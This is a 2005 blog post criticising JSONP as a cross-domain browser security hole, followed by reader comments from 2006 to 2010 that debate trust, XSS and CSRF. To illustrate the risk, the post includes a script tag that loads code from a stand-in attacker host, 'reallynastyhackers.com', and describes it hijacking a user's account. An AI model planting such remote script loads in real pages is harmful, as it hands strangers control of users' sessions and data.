JSONP…you're joking, right?
December 12, 2005
I understand people are hard up for their mashups, but this is crazy. Someone has decided it would be a good idea to give a name to a browser security exploit in the name of wider adoption. JSON with Padding (JSONP) is essentially a way of working around the cross domain security policies enforced by your web browser. Those security policies are in place to ensure that malicious code can’t report your private data to third parties and to prevent third parties from messing with your data on other web sites.
The problem is, there’s a hole in the security model. Using <script> tags, you can can work around the policies to execute code from another web site. That code is, in turn, free to do whatever it wants to do on your behalf on the website you’re currently browsing. Imagine, for instance, you’re browsing eBay. Now imagine that eBay includes a bit of JavaScript from one of their seller’s web sites like this:
<script src=”http://reallynastyhackers.com/ownyou.js”></script>
Oh sure, the seller says it’s just so they can do a little metrics gathering. Unbeknownst to you, the JavaScript ends up using your account to submit glowing feedback on the seller. Or maybe it submits a password reset request, locking you out of your account. Who knows, the point is, you just executed code from someone you don’t know. You probably did it without even knowing it happened. It’s like the days of Word macro viruses.
The point is, these JSONP loons are hitchiking a ride on a security flaw in the browsers. I’d guess (hope might be more accurate) it won’t be long before the browser developers put in a fix, at which point all of your JSONP code will cease to work. I do think there needs to be an easy way to let page scripts talk to multiple hosts, but I think this is the wrong way of doing it. There has to be some form of protection added to ensure that arbitrary code from the other hosts isn’t executed within the page.
Entry Filed under: Development. .
1.
Bob Ippolito | January 5, 2006 at 5:19 pm
It’s not a security flaw. It’s in there by design and it’s not going anywhere. It’d kill adwords, among other things.
By the point you’re browsing a web page, you’re trusting the content provider and browser to do no harm. Script tags with remote hosts only end up in that page if the content provider puts it there and *rusts the remote host.
If you come up with a “solution” that allows for safe exchange of data, you’re providing for another use case… namely, exchanging data with an untrusted remote host. That’s certainly a valid use case, but it’s a different one that JSONP doesn’t claim to solve.
Note that even with a safe wire protocol, nothing stops the content provider from using eval() to run code from untrusted hosts, or to simply HTTP proxy to untrusted hosts — it’s up to the content provider. You’ve already trusted them and nothing can stop them from extending that trust to another party if they choose to.
2. Musical Mashups in Pure JavaScript | Musings of B | December 4, 2008 at 8:18 pm
[...] there was a safe way of doing this sort of cross-domain scripting without introducing a host of XSS vulnerabilities, writing mashups would be a walk in the [...]
3.
Gregers Gram Rygg | March 26, 2009 at 12:05 pm
Sorry that I’m correcting a very old blog post of yours, but it’s been referenced from stackoverflow.com.
You seem to be confused with XSS, which is another issue, not a JSONP issue. You always have to secure your user input for scripts. JSONP only allows a script to use a callback to receive data from a service. So what you have to watch out for is other sites trying to get sensitive data from your services. Also called Cross Site Request Forgery:
http://www.squarefree.com/securitytips/web-developers.html#CSRF
And you’re wrong about will cease to work. It’s used by several large companies, like Google. W3C is working on drafts for Cross Domain Requests, and Microsoft have already implemented support in IE8:
http://dev.w3.org/2006/webapi/XMLHttpRequest-2/
http://blogs.msdn.com/ie/archive/2008/06/23/securing-cross-site-xmlhttprequest.aspx
4.
Ryan Kennedy | March 27, 2009 at 6:11 pm
Gregers, you’re missing my point. You’re enabling third parties to run arbitrary JavaScript within the scope of your own domain. I understand that large companies utilize this to their advantage for legitimate purposes, however you cannot deny that you are putting a tremendous amount of trust in those companies since you’re giving them carte blanche to do whatever they want with your page and any information they can access from it.
I’m happy to see the new work being done in future browsers to provide us with a means of implementing the tasks currently offloaded to JSONP in a more secure manner. In the meantime, we just have to hope that JSONP service providers don’t end up adding malicious payloads to their responses.
5.
David-Sarah Hopwood | April 6, 2009 at 6:12 pm
I agree that this is a security flaw. However, it was wildly optimistic to expect that browser implementors would fix it (and indeed they haven’t, over three years later). The implementors, especially Mozilla.org and Microsoft, have a habit of favouring “compatibility” over security, i.e. deliberately not fixing JavaScript security flaws that they think anyone is relying on.
6.
Dallas Gutauckis | August 12, 2009 at 5:48 pm
I think the main concern here is the exposing of data as JSONP. A developer should certainly be careful in their implementation if the data contained within the output is sensitive data. If your goal is to expose data between subdomains of your own site (myservice1.mydomain.com needs to request data via JSONP from myservice2.mydomain.com) one should implement a security check around the function call:
var a=window.location.host;var d=”.mydomain.com”;if(a.length-d.length===a.lastIndexOf(d)){callback(…)}
7.
Saikat Chakrabarti | August 14, 2009 at 8:22 pm
The problem is not in whether or not a web site uses JSONP. I, as a website developer, am responsible for making sure any JSONP code in my site is making requests to servers that I trust. So, as far as I can tell, as long as I make sure my JSONP code is making requests to trusted servers, using JSONP does not make my website any less secure.
However, regardless of if my site supports JSONP, JSONP support in browsers makes my site more vulnerable to CSRF attacks. Imagine that Bob is logged in to my site (no JSONP used here). Bob then clicks on a link from malicious site bad-site.com. bad-site.com can now, using JSONP, make a request on my server using Bob’s credentials. Unless my site properly secure my site against a CSRF attack like this (and does not rely on the browser’s same-origin policy), my server will process the malicious request, and bad-site.com can then do whatever it wants with Bob’s data that just got retrieved from my site. So though I agree with you that this is a security vulnerability in browsers and is a bad thing, I don’t think it is so for the reasons you describe. When a user visits my site, the user is trusting my site and I think it is reasonable for the user to therefore trust sites that my site trusts.
8.
Tom Robinson | September 8, 2009 at 5:30 am
JSONP is not as evil as you make it out to be. Yes, you need to be careful, but when used properly with trusted services it’s safe.
Here’s a summary of the security issues with JSONP, as I understand it:
From the consumer’s perspective:
* You must trust the provider to not return malicious JavaScript instead of the expected JSON wrapped in the JSONP callback you specify.
* The same is also true of any third party JavaScript embedded add-ons, such as Google Analytics.
* It’s only similar to XSS attacks in that it allows a 3rd party to execute arbitrary JavaScript in your application, however, you must first choose to trust that 3rd party by making the request in the first place.
From the provider’s perspective:
* You must not assume that even though the clients’ cookie(s) are present in the request that the consumer is a webpage under your control. Check the Referer header against a whitelist of authorized URLs, and/or don’t rely on cookie-based authentication.
* Analogous to a CSRF / confused deputy attack.
9.
jaa | September 17, 2009 at 6:36 am
I need to provide my site’s application as a “widget” to be hosted on another site. The application is basically a form that collects user data including sensitive fields like SSN. Both mine and the site that will the widget have https:// URLs. Is JSONP (using jQuery) a recommended solution for doing the form submit, if not what are my alternatives?
10.
neimado | October 14, 2009 at 5:23 am
JSONP is no security risk. What you describe in your example is most definitely foolish, irresponsible, and could cause trouble – but it is most certainly not JSONP. Never insert javascript into your website from any random person. It’s just common sense, but it has nothing to do with JSONP.
JSONP does indeed allow cross-browser communications, but it does not pose a large security risk.
Many popular sites already use it, such as Flickr, Google, Youtube, and others.
Code running on site X requests data from site Y, passing in a callback function name. If site X trusts site Y to deliver clean data using the only the callback function passed in the request, then there isn’t a problem. If site Y is malicious or the server software gets infected then there could be a problem if it adds malicious code to the response, but it is not as big a risk as you may think. Sure, if YouTube got hacked in some way, there could be problems on other sites that use the YouTube API as a result, but I trust YouTube’s API is going to work reliably, and I really want access to their data (and so do my users), so the small risk of trusting YouTube’s API is worth the pay-off of having access to their data (while off-loading the work to the client instead of my servers).
There’s really very little chance that using JSONP in this way will cause the problems you described.
11.
Ryan Kennedy | October 16, 2009 at 11:29 pm
neimado, you’re contradicting yourself. First you say “JSONP is no security risk” and then you say “There’s really very little chance that using JSONP in this way will cause the problems you described”. “very little chance” is more than “no chance”.
The point is, you’re putting a TREMENDOUS amount of trust in the service providing the JavaScript. You better hope that trust never proves to be poorly placed.
12.
Tim | May 19, 2010 at 9:33 pm
If you’re worried about it, why don’t you just sandbox the provider out of your page?
http://beebole.com/en/blog/general/sandbox-your-cross-domain-jsonp-to-improve-mashup-security/